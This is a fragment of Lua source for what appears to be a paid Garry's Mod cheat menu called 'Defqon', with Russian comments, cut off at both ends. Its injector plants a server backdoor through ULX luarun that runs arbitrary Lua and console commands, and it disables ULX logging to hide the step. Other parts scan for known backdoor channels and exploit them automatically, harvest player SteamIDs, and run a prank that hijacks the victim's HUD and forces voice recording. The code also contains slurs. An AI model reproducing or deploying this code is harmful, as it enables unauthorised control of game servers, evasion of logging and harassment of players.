) end local target2 = vgui.Create("DButton", iZNX.PlayerSelector) target2:SetSize( 40, 20 ) target2:SetPos( 55, 23 ) target2:SetText("Никто") target2:SetTextColor(Color(255, 255, 255, 255)) target2.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(0, 0, 50 ,155) surface.DrawRect(0, 0, w, h) end target2.DoClick = function() table.Empty( plytab ) iZNX.Store( addr, plytab ) end local target3 = vgui.Create("DButton", iZNX.PlayerSelector ) target3:SetSize( 40, 20 ) target3:SetPos( 100, 23 ) target3:SetText("Вы") target3:SetTextColor(Color(255, 255, 255, 255)) target3.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(0, 0, 50 ,155) surface.DrawRect(0, 0, w, h) end target3.DoClick = function() table.Empty( plytab ) table.insert( plytab, LocalPlayer() ) iZNX.Store( addr, plytab ) end local target4 = vgui.Create( "DTextEntry", iZNX.PlayerSelector ) target4:SetPos( 145, 23 ) target4:SetSize( 95, 20 ) target4:SetText( "" ) target4.OnChange = function( self ) local nam = self:GetValue() local namtab = string.Explode( ", ", nam ) table.Empty( plytab ) for _, pl in pairs( player.GetAll() ) do for _, s in pairs( namtab ) do if string.find( string.lower( pl:Nick() ), s ) then table.insert( plytab, pl ) end end end iZNX.Store( addr, plytab ) end for k, v in pairs( player.GetAll() ) do local plypanel2 = vgui.Create( "DPanel" ) plypanel2:SetPos( 0, 0 ) plypanel2:SetSize( 200, 25 ) local teamcol = team.GetColor( v:Team() ) plypanel2.Paint = function( s, w, h ) if !v:IsValid() then return end surface.SetDrawColor( Color(30, 30, 30, 245) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( teamcol ) surface.DrawRect( 0, h - 3, w, 3 ) surface.SetDrawColor( Color(55, 55, 55, 245) ) surface.DrawOutlinedRect( 0, 0, w, h ) if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) end local plyname = vgui.Create( "DLabel", plypanel2 ) plyname:SetPos( 10, 5 ) plyname:SetFont( "Trebuchet18" ) local tcol = Color( 255, 255, 255 ) if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end plyname:SetColor( tcol ) plyname:SetText( v:Nick() ) plyname:SetSize(180, 15) local faggot = vgui.Create("DButton", plypanel2 ) faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() ) faggot:SetPos( 0, 0 ) faggot:SetText("") faggot.Paint = function(panel, w, h) return end faggot.DoClick = function() if table.HasValue( plytab, v ) then table.RemoveByValue( plytab, v ) else table.insert( plytab, v ) end iZNX.Store( addr, plytab ) end Plist:AddItem( plypanel2 ) end end function iZNX.MakeTextInputButton( parent, x, y, btext, default, addr) if !parent:IsValid() then return end local hostframe = vgui.Create( "DPanel", parent ) hostframe:SetPos( x, y ) hostframe.Paint = function( self, w, h ) surface.SetDrawColor( Color(60, 60, 60, 200) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) surface.DrawOutlinedRect( 0, 0, w, h ) end local tttt = vgui.Create( "DLabel", hostframe ) tttt:SetPos( 5, 5 ) tttt:SetText( btext ) tttt:SizeToContents() local tentry = vgui.Create( "DTextEntry", hostframe ) tentry:SetPos( 10 + tttt:GetWide(), 2 ) tentry:SetSize( 130, 20 ) tentry:SetText( iZNX.GetStored( addr, default ) ) tentry.OnChange = function( self ) iZNX.Store( addr, self:GetValue() ) end hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 ) return hostframe:GetWide(), hostframe:GetTall() end function iZNX.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr) if !parent:IsValid() then return end local hostframe = vgui.Create( "DPanel", parent ) hostframe:SetPos( x, y ) hostframe.Paint = function( self, w, h ) surface.SetDrawColor( Color(60, 60, 60, 200) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) surface.DrawOutlinedRect( 0, 0, w, h ) end local tttt = vgui.Create( "DLabel", hostframe ) tttt:SetPos( 5, 5 ) tttt:SetText( btext ) tttt:SizeToContents() local wangmeoff = vgui.Create( "DNumberWang", hostframe ) wangmeoff:SetPos( 10 + tttt:GetWide(), 2 ) wangmeoff:SetSize( 75, 20 ) wangmeoff:SetDecimals( 2 ) wangmeoff:SetMinMax( min , max ) wangmeoff:SetValue( iZNX.GetStored( addr, default ) ) wangmeoff:SetAllowNonAsciiCharacters(false) wangmeoff.OnValueChanged = function( self, val ) iZNX.Store( addr, self:GetValue() ) end hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 ) return hostframe:GetWide(), hostframe:GetTall() end local FillFrameRates = RatesScaleLevel concommand.Add( "Defqon", function() if FillFrameRates == LocalPlayer():SteamID() -- да ацсаси then LocalPlayer():EmitSound("weapons/ar2/ar2_reload_push.wav",500,100) iZNX.Menu = vgui.Create("DFrame") iZNX.Menu:SetSize(950,820) iZNX.Menu:SetTitle("") iZNX.Menu:Center() iZNX.Menu:MakePopup() iZNX.Menu.gay = table.Count( iZNX.sploits ) iZNX.Menu.Paint = function( s, w, h ) surface.SetDrawColor( Color(41, 41, 41) ) -- Цвет обводки внутри меню (41 41 41) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(55, 55, 55, 245) ) -- Обводка меню surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) surface.SetDrawColor( Color(33, 33, 33) ) -- Цвет меню в центре surface.DrawRect( 80, 25, w - 90, h - 35 ) surface.SetDrawColor( Color(100, 100, 100, 200) ) draw.DrawText( "Defqon v 5.1.1\nExploits: "..iZNX.Menu.gay, "default", 8, 15, Color(255,255,255, 350) ) draw.DrawText( "17.03.18", "default", 8, 40, Color(255,255,255, 350) ) draw.DrawText( "---------------","HUDLogo2", 6, 664, Color(255,255,255, 10000) ) draw.DrawText( "Остальное","HUDLogo2", 5, 652, Color(255,255,255, 10000) ) draw.DrawText( "---------------","HUDLogo2", 6, 638, Color(255,255,255, 10000) ) end local Plist = vgui.Create( "DPanelList", iZNX.Menu ) Plist:SetSize( iZNX.Menu:GetWide() - 90, iZNX.Menu:GetTall() - 35 ) Plist:SetPadding( 5 ) Plist:SetSpacing( 5 ) Plist:EnableHorizontal( false ) Plist:EnableVerticalScrollbar( true ) Plist:SetPos( 80, 25 ) Plist:SetName( "" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 765, "Ноклип", Noclip, "ClientSide Noclip" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 792, "Инжектор", Inject, "Инжектит фирменный Backdoor на сервер" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 737, "Бэкдур чек", checkbackdoors, "Лист бэкдуров aka чек сервера на бэкдуры (смотреть в консоль)" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 710, "Админ-хак", lmfao, "Фейк ULX выдача SuperAdmin, можно сделать скриншот, мол вы хакер" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 683, "Не нажимать", lmfao1, "НЕ НАЖИМАТЬ!!" ) iZNX.MakeFunctionButtonr( iZNX.Menu, 7, 67, "Создатель", gui.url, "Ссылка на страницу создателя меню" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 148, "Сканер", iZNX.ScanPlayers, "Сканирует игроков" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 310, "Lua Viewer", luaview, "Клиент-сайд lua view" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 121, "Чек Версии", CheckVersion, "Чек версии чита" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 175, "RainbowGun", rainbowphysgun, "Включает радужный физган" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 202, "RunLuaCode", editor, "Run on self - Запуск луа кода на себя" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 229, "WallHack", WHT, "Включает вх" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 256, "BunnyHop", Bhop, "Обыкновенный бхоп" ) iZNX.MakeFunctionButtonb( iZNX.Menu, 7, 283, "Big Menu", bigmenu, "Big Menu" ) iZNX.MakeFunctionButtonr( iZNX.Menu, 7, 94, "Анти-Читы", anticheats, "Показывает меры безопасности (Скринграбы, анти-читы и т.д)" ) local function CreateSploitPanel( name, t ) if !iZNX.Menu then return end local cmdp = vgui.Create( "DPanel" ) cmdp:SetSize( Plist:GetWide(), 70 ) cmdp.Cmd = name cmdp.Desc = t.desc cmdp.Paint = function( s, w, h ) surface.SetDrawColor( Color(41, 41, 41, 245) ) -- Цвет эксплойтов surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( severitycols[t.severity] ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawLine( 0, 24, w, 24 ) draw.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) ) draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) ) end local x = 10 for _, tab in ipairs( t.functions ) do if tab.typ == "func" then x = (x + 5) + iZNX.MakeFunctionButton( cmdp, x, 42, tab.name, tab.func ) elseif tab.typ == "players" then x = (x + 5) + iZNX.MakePlayerSelectionButton( cmdp, x, 42, tab.addr ) elseif tab.typ == "htxcommandeliste" then x = (x + 5) + iZNX.HTXBackdoor( cmdp, x, 42, tab.name ) elseif tab.typ == "soundboard" then x = (x + 5) + iZNX.SoundBoard( cmdp, x, 42, tab.name ) elseif tab.typ == "string" then x = (x + 5) + iZNX.MakeTextInputButton( cmdp, x, 42, tab.name, tab.default, tab.addr ) if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end elseif tab.typ == "float" then x = (x + 5) + iZNX.MakeNumberInputButton( cmdp, x, 42, tab.name, tab.default, tab.min, tab.max, tab.addr ) if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end end end Plist:AddItem( cmdp ) end for k, v in pairs( iZNX.sploits ) do if v.scan() then CreateSploitPanel( k, v ) end end else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Привет у меня аутизм!" ) --RunConsoleCommand( "sdbhfbgf" ) return end end) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --[[ -------------------------------------------------------------- _____ _ _ _ _ _ _ _ | ___|_ _| | _____ | | | | |_ __ | | | | __ _ ___| | __ | |_ / _` | |/ / _ \ | | | | \ \/ / | |_| |/ _` |/ __| |/ / | _| (_| | < __/ | |_| | |> < | _ | (_| | (__| < |_| \__,_|_|\_\___| \___/|_/_/\_\ |_| |_|\__,_|\___|_|\_\ ---------------------------------------------------------------]] function lmfao() surface.PlaySound("garrysmod/ui_click.wav") if( ulx ) then chat.AddText( Color( 0, 0, 0, 255 ), "(Console) ", Color( 160, 200, 200, 255 ), "added ", Color( 80, 0, 120, 255 ), "You ", Color( 160, 200, 200, 255 ), "to group ", Color( 0, 255, 0, 255 ), "superadmin" ) else chat.AddText( "На этом сервере не установлен ULX" ) end end CCA( "Defqon_adduser", lmfao ) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --[[ ---------------------------------------------------------------------------------- чо за поебота блять ____ _ _ ____ _ _ _ ____ _ _ | _ \ ___ _ __ ( ) |_ / ___| (_) ___| | __ | __ ) _ _| |_| |_ ___ _ __ | | | |/ _ \| '_ \|/| __| | | | | |/ __| |/ / | _ \| | | | __| __/ _ \| '_ \ | |_| | (_) | | | | | |_ | |___| | | (__| < | |_) | |_| | |_| || (_) | | | | |____/ \___/|_| |_| \__| \____|_|_|\___|_|\_\ |____/ \__,_|\__|\__\___/|_| |_| ----------------------------------------------------------------------------------]] function lmfao1() surface.PlaySound("garrysmod/ui_click.wav") local msg = "Подожди. . ." surface.CreateFont("lolwutbet", {size=75}) local function huddrawdetour() draw.RoundedBox(0, 0, 0, ScrW(), ScrH(), HSVToColor( CurTime() % 6 * 60, 1, 1 )) draw.RoundedBox(0, 0, ScrH() / 3.5, ScrW(), ScrH() / 4.5, Color(0, 0, 0)) draw.SimpleText(msg, "lolwutbet", ScrW() / 2, ScrH() / 2.5, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER) end for k,v in pairs(hook.GetTable()) do for o,j in pairs(v) do if k == "HUDPaint" then hook.Remove(k, o) hook.Add(k, o, huddrawdetour) end end end hook.Add("HUDPaint","eztoirkfghdjbnvxc", huddrawdetour) timer.Create("wowlolwut_my_boi",2 ,0 , function() msg = table.Random({ "Зачем ты нажал?", "cl_yawspeed 8", "-right", "Почему ты это сделал ?", "Я уже взламываю твой аккаунт", "Я же написал, чтоб ты не нажимал", "Команды на экране", "u n00b", "-right", "1337 h4ck3r", "Больше не нажимай на меня, ок?", "cl_yawspeed 8", "Надеюсь, ты усвоил урок", "..."}) end) timer.Create("lgfholjghlfdsh",0 ,0 , function() MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "ЗАПУСТИ МЕНЯ ЕЩЕ РАЗ, ДАВАЙ, СДЕЛАЙ ЭТО!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !\n") end) sound.PlayURL("http://d.zaix.ru/5Kko.mp3","mono noblock", function( s ) s:Play() end) LocalPlayer():ConCommand("+voicerecord") LocalPlayer():ConCommand("cl_yawspeed 9999") LocalPlayer():ConCommand("+right") MsgC(HSVToColor( CurTime() % 6 * 60, 1, 1 ), "Нажми escape !\n") timer.Simple(5 * 60, function() table.Empty(debug.getregistry()) end ) end concommand.Add( "Music_troll", lmfao1 ) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ --[[------------------------------------------------------------------ ____ _ ____ _ _ / ___|__ _| | _____ / ___| |__ ___ ___| | _____ _ __ | | / _` | |/ / _ \ | | | '_ \ / _ \/ __| |/ / _ \ '__| | |__| (_| | < __/ | |___| | | | __/ (__| < __/ | \____\__,_|_|\_\___| \____|_| |_|\___|\___|_|\_\___|_| ------------------------------------------------------------------]] if (_G.QAC or _G.CAC) then surface.PlaySound("ambient/alarms/klaxon1.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "На сервере стоит Cake Anti Cheat!") end ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ local ply = LocalPlayer() function Noclip() surface.PlaySound("garrysmod/ui_click.wav") ply:ConCommand( "Defqon_noclip" ) end local SW = {} SW.Enabled = false SW.ViewOrigin = Vector( 0, 0, 0 ) SW.ViewAngle = Angle( 0, 0, 0 ) SW.Velocity = Vector( 0, 0, 0 ) function SW.CalcView( ply, origin, angles, fov ) if ( !SW.Enabled ) then return end if ( SW.SetView ) then SW.ViewOrigin = origin SW.ViewAngle = angles SW.SetView = false end return { origin = SW.ViewOrigin, angles = SW.ViewAngle } end hook.Add( "CalcView", "SpiritWalk", SW.CalcView ) function SW.CreateMove( cmd ) if ( !SW.Enabled ) then return end local time = FrameTime() SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time ) SW.Velocity = SW.Velocity * 0.95 local sensitivity = 0.022 SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 ) SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity ) local add = Vector( 0, 0, 0 ) local ang = SW.ViewAngle if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end add = add:GetNormal() * time * 3000 if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end SW.Velocity = SW.Velocity + add if ( SW.LockView == true ) then SW.LockView = cmd:GetViewAngles() end if ( SW.LockView ) then cmd:SetViewAngles( SW.LockView ) end cmd:SetForwardMove( 0 ) cmd:SetSideMove( 0 ) cmd:SetUpMove( 0 ) end hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove ) function SW.Toggle() SW.Enabled = !SW.Enabled SW.LockView = SW.Enabled SW.SetView = true local status = { [ true ] = "ON", [ false ] = "OFF" } end concommand.Add( "Defqon_noclip", SW.Toggle ) function ValidNetString( str ) local status, error = pcall( net.Start, str ) return status end -- Superadmin Injector function Inject() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 255, 255 )," Инжектим..." ) if ( ply:IsSuperAdmin() ) then timer.Simple( 3, function() if( ValidNetString("DefqonBackdoor") ) then else RunConsoleCommand( "ulx", "logecho", "0" ) RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString ('DefqonBackdoor')" ) RunConsoleCommand( "ulx", "luarun", "util.AddNetworkString('ravenhacknet') net.Receive('ravenhacknet', function( length, ply ) local netString = net.ReadString() local bit = net.ReadBit() if bwwwit == 1 then RunString(netString) else game.ConsoleCommand(netString .. '\n') end end)" ) RunConsoleCommand( "ulx", "logecho", "1" ) chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 0, 255, 0 )," Успешно заинжекчено!" ) end end ) else chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 0, 0 )," Failed! Вы не superadmin!" ) end if( ValidNetString("DefqonBackdoor") ) then chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 255, 255 )," Backdoor уже загружен!" ) end end -- Backdoor Checker function checkbackdoors() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText( Color( 0, 0, 0, 125 ), "[Defqon]", Color( 255, 255, 255 )," В консоль посмотрите" ) if( ValidNetString("Sbox_darkrp") ) then print( "[Defqon] Найден Backdoor! - Sbox_darkrp" ) end if( ValidNetString("_Defqon") ) then print( "[Defqon] Найден Backdoor! - _Defqon" ) end if( ValidNetString("Sandbox_ArmDupe") ) then print( "[Defqon] Найден Backdoor! - Sandbox_ArmDupe" ) end if( ValidNetString("Sbox_itemstore") ) then print( "[Defqon] Найден Backdoor! - Sbox_itemstore" ) end if( ValidNetString("Ulib_Message") ) then print( "[Defqon] Найден Backdoor! - Ulib_Message" ) end if( ValidNetString("ULogs_Info") ) then print( "[Defqon] Найден Backdoor! - ULogs_Info" ) end if( ValidNetString("ITEM") ) then print( "[Defqon] Найден Backdoor! - ITEM" ) end if( ValidNetString("fix") ) then print( "[Defqon] Найден Backdoor! - fix" ) end if( ValidNetString("Fix_Keypads") ) then print( "[Defqon] Найден Backdoor! - Fix_Keypads" ) end if( ValidNetString("Remove_Exploiters") ) then print( "[Defqon] Найден Backdoor! - Remove_Exploiters" ) end if( ValidNetString("noclipcloakaesp_chat_text") ) then print( "[Defqon] Найден Backdoor! - noclipcloakaesp_chat_text" ) end if( ValidNetString("_CAC_ReadMemory") ) then print( "[Defqon] Найден Backdoor! - _CAC_ReadMemory" ) end if( ValidNetString("nostrip") ) then print( "[Defqon] Найден Backdoor! - nostrip" ) end if( ValidNetString("nocheat") ) then print( "[Defqon] Найден Backdoor! - nocheat" ) end if( ValidNetString("LickMeOut") ) then print( "[Defqon] Найден Backdoor! - LickMeOut" ) end if( ValidNetString("ULX_QUERY2") ) then print( "[Defqon] Найден Backdoor! - ULX_QUERY2" ) end if( ValidNetString("MoonMan") ) then print( "[Defqon] Найден Backdoor! - MoonMan" ) end if( ValidNetString("Im_SOCool") ) then print( "[Defqon] Найден Backdoor! - Im_SOCool" ) end if( ValidNetString("Sandbox_GayParty") ) then print( "[Defqon] Найден Backdoor! - Sandbox_GayParty" ) end if( ValidNetString("DarkRP_UTF8") ) then print( "[Defqon] Найден Backdoor! - DarkRP_UTF8" ) end if( ValidNetString("oldNetReadData") ) then print( "[Defqon] Найден Backdoor! - oldNetReadData" ) end if( ValidNetString("memeDoor") ) then print( "[Defqon] Найден Backdoor! - memeDoor" ) end if( ValidNetString("BackDoor") ) then print( "[Defqon] Найден Backdoor! - BackDoor" ) end if( ValidNetString("OdiumBackDoor") ) then print( "[Defqon] Найден Backdoor! - OdiumBackDoor" ) end if( ValidNetString("cucked") ) then print( "[Defqon] Найден Backdoor! - cucked" ) end if( ValidNetString("NoNerks") ) then print( "[Defqon] Найден Backdoor! - NoNerks" ) end if( ValidNetString("kek") ) then print( "[Defqon] Найден Backdoor! - kek" ) end if( ValidNetString("ZimbaBackDoor") ) then print( "[Defqon] Найден Backdoor! - ZimbaBackDoor" ) end if( ValidNetString("something") ) then print( "[Defqon] Найден Backdoor! - something" ) end if( ValidNetString("random") ) then print( "[Defqon] Найден Backdoor! - random" ) end if( ValidNetString("strip0") ) then print( "[Defqon] Найден Backdoor! - strip0" ) end if( ValidNetString("DarkRP_AdminWeapons") ) then print( "[Defqon] Найден Backdoor! - DarkRP_AdminWeapons" ) end if( ValidNetString("SessionBackdoor") ) then print( "[Defqon] Найден Backdoor! - SessionBackdoor" ) end if( ValidNetString("ULXQUERY2") ) then print( "[Defqon] Найден Backdoor! - ULXQUERY2" ) end if( ValidNetString("fellosnake") ) then print( "[Defqon] Найден Backdoor! - fellosnake" ) end if( ValidNetString("enablevac") ) then print( "[Defqon] Найден Backdoor! - enablevac" ) end if( ValidNetString("idk") ) then print( "[Defqon] Найден Backdoor! - idk" ) end if( ValidNetString("c") ) then print( "[Defqon] Найден Backdoor! - c" ) end if( ValidNetString("killserver") ) then print( "[Defqon] Найден Backdoor! - killserver" ) end if( ValidNetString("fuckserver") ) then print( "[Defqon] Найден Backdoor! - fuckserver" ) end if( ValidNetString("cvaraccess") ) then print( "[Defqon] Найден Backdoor! - cvaraccess" ) end if( ValidNetString("rcon") ) then print( "[Defqon] Найден Backdoor! - rcon" ) end if( ValidNetString("rconadmin") ) then print( "[Defqon] Найден Backdoor! - rconadmin" ) end if( ValidNetString("web") ) then print( "[Defqon] Найден Backdoor! - web" ) end if( ValidNetString("jesuslebg") ) then print( "[Defqon] Найден Backdoor! - jesuslebg" ) end if( ValidNetString("zilnix") ) then print( "[Defqon] Найден Backdoor! - zilnix" ) end if( ValidNetString("Þà?D)◘") ) then print( "[Defqon] Найден Backdoor! - Þà?D)◘" ) end if( ValidNetString("disablebackdoor") ) then print( "[Defqon] Найден Backdoor! - disablebackdoor" ) end if( ValidNetString("kill") ) then print( "[Defqon] Найден Backdoor! - kill" ) end if( ValidNetString("DefqonBackdoor") ) then print( "[Defqon] Найден Фирменный Backdoor! - DefqonBackdoor" ) end end -- Auto-Backdoor checker if( ValidNetString("memeDoor") ) then netKey = "memeDoor" else end if( ValidNetString("Sandbox_Armdupe") ) then netKey = "Sandbox_Armdupe" else end if( ValidNetString("DarkRP_AdminWeapons") ) then netKey = "DarkRP_AdminWeapons" else end if( ValidNetString("enablevac") ) then netKey = "enablevac" else end if( ValidNetString("SessionBackdoor") ) then netKey = "SessionBackdoor" else end if( ValidNetString("Fix_Keypads") ) then netKey = "Fix_Keypads" else end if( ValidNetString("Remove_Exploiters") ) then netKey = "Remove_Exploiters" else end if( ValidNetString("noclipcloakaesp_chat_text") ) then netKey = "noclipcloakaesp_chat_text" else end if( ValidNetString("_Defqon") ) then netKey = "_Defqon" else end if( ValidNetString("_CAC_ReadMemory") ) then netKey = "_CAC_ReadMemory" else end if( ValidNetString("nostrip") ) then netKey = "nostrip" else end if( ValidNetString("LickMeOut") ) then netKey = "LickMeOut" else end if( ValidNetString("MoonMan") ) then netKey = "MoonMan" else end if( ValidNetString("Im_SOCool") ) then netKey = "Im_SOCool" else end if( ValidNetString("ULXQUERY2") ) then netKey = "ULXQUERY2" else end if( ValidNetString("Sbox_itemstore") ) then netKey = "Sbox_itemstore" else end if( ValidNetString("Ulib_Message") ) then netKey = "Ulib_Message" else end if( ValidNetString("Sbox_darkrp") ) then netKey = "Sbox_darkrp" else end if( ValidNetString("ULogs_Info") ) then netKey = "ULogs_Info" else end if( ValidNetString("ITEM") ) then netKey = "ITEM" else end if( ValidNetString("fix") ) then netKey = "fix" else end if( ValidNetString("nocheat") ) then netKey = "nocheat" else end if( ValidNetString("ULX_QUERY2") ) then netKey = "ULX_QUERY2" else end if( ValidNetString("Sandbox_GayParty") ) then netKey = "Sandbox_GayParty" else end if( ValidNetString("DarkRP_UTF8") ) then netKey = "DarkRP_UTF8" else end if( ValidNetString("oldNetReadData") ) then netKey = "oldNetReadData" else end if( ValidNetString("BackDoor") ) then netKey = "BackDoor" else end if( ValidNetString("OdiumBackDoor") ) then netKey = "OdiumBackDoor" else end if( ValidNetString("cucked") ) then netKey = "cucked" else end if( ValidNetString("NoNerks") ) then netKey = "NoNerks" else end if( ValidNetString("kek") ) then netKey = "kek" else end if( ValidNetString("ZimbaBackDoor") ) then netKey = "ZimbaBackDoor" else end if( ValidNetString("something") ) then netKey = "something" else end if( ValidNetString("random") ) then netKey = "random" else end if( ValidNetString("strip0") ) then netKey = "strip0" else end if( ValidNetString("fellosnake") ) then netKey = "fellosnake" else end if( ValidNetString("idk") ) then netKey = "idk" else end if( ValidNetString("c") ) then netKey = "c" else end if( ValidNetString("killserver") ) then netKey = "killserver" else end if( ValidNetString("fuckserver") ) then netKey = "fuckserver" else end if( ValidNetString("cvaraccess") ) then netKey = "cvaraccess" else end if( ValidNetString("rcon") ) then netKey = "rcon" else end if( ValidNetString("rconadmin") ) then netKey = "rconadmin" else end if( ValidNetString("web") ) then netKey = "web" else end if( ValidNetString("jesuslebg") ) then netKey = "jesuslebg" else end if( ValidNetString("zilnix") ) then netKey = "zilnix" else end if( ValidNetString("Þà?D)◘") ) then netKey = "Þà?D)◘" else end if( ValidNetString("disablebackdoor") ) then netKey = "disablebackdoor" else end if( ValidNetString("kill") ) then netKey = "kill" else end if( ValidNetString("DefqonBackdoor") ) then netKey = "DefqonBackdoor" else end if netKey == "" then chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Бэкдуров на сервере не найдено." ) else chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 0, 255, 0 ), "Найден .net Backdoor: ".. netKey ) -- Auto shut down ULX Logs if GetConVarNumber("silent") == 1 then net.Start(netKey) net.WriteString( "ulx_logecho 0" ) net.WriteBit (0) net.SendToServer() timer.Simple(0.1, function() net.Start(netKey) net.WriteString( "ulx_logecho 0" ) net.WriteBit (1) net.SendToServer() chat.AddText("ULX Logs Отключены." ) end) end end local function gmsg(msg,color) if color == "color_red" then chat.AddText( "\n",Color( 255,0,0 ),"[Defqon] ",Color( 150,0,0 )," ".. msg) return end if color == "color_red_red" then chat.AddText( "\n",Color( 255,0,0 ),"[Defqon] ",Color( 255,0,0 )," ".. msg) return end if color == "color_green" then chat.AddText( "\n",Color( 255,0,0 ),"[Defqon] ",Color( 43,255,0 )," ".. msg) return end chat.AddText( "",Color( 255,0,0 ),"[Defqon] ",Color( 255,255,225 )," ".. msg) end function iZNX.ScanPlayers() surface.PlaySound("garrysmod/ui_click.wav") local playerscount = 0 local playerscount_admin = 0 local playerscount_hryak = 0 local playerscount_hryak_admin = 0 gmsg ("Группа - Ник - SID - Деньги") for k,v in pairs(player.GetAll()) do local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0 gmsg(v:GetUserGroup()..": " .. v:Nick() .. " - " .. v:SteamID() .. " - $" .. playermoney.. "","color_green") end end else -- Если SteamID не авторизован (чит украден, кто-то дал ссылку на него и т.п методы получения) surface.CreateFont( "PopupHFont", { font = "Segoe UI Light", size = 50, weight = 1000, }) surface.CreateFont("PopupFont", { font = "Segoe UI Light", size = 21, weight = 300 }) concommand.Add("fucked", function() LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100) LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100) LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100) LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100) LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100) LocalPlayer():EmitSound("ambient/alarms/klaxon1.wav",500,100) local Popup = vgui.Create("DFrame") Popup:SetSize( ScrW(), ScrH() ) Popup:SetPos( 0,0 ) Popup:SetVisible( true ) Popup:SetDraggable( false ) Popup:SetTitle( "" ) Popup:MakePopup() Popup:ShowCloseButton( false ) Popup.Paint = function(s,w,h) surface.SetDrawColor( Color(0,0,0,200) ) surface.DrawRect( 0,0, w,h ) surface.SetDrawColor( Color(240,0,0) ) surface.DrawRect( 0, w/2-Popup:GetTall()/1.520, ScrW(), ScrH()/6.5 ) surface.SetTextColor(255,255,255) surface.SetTextPos(w/5.10, h/2.40) surface.SetFont("PopupHFont") surface.SetTextPos(w/5.10, h/3) surface.DrawText("Ошибка") surface.SetFont("PopupFont") surface.SetTextPos(w/5.10, h/2.50) surface.DrawText( "Вы не покупали DefqonMenu," ) surface.SetTextPos(w/5.10, h/2.40) surface.DrawText( "И вы не можете его использовать," ) surface.SetTextPos(w/5.10, h/2.30) surface.DrawText("Будет 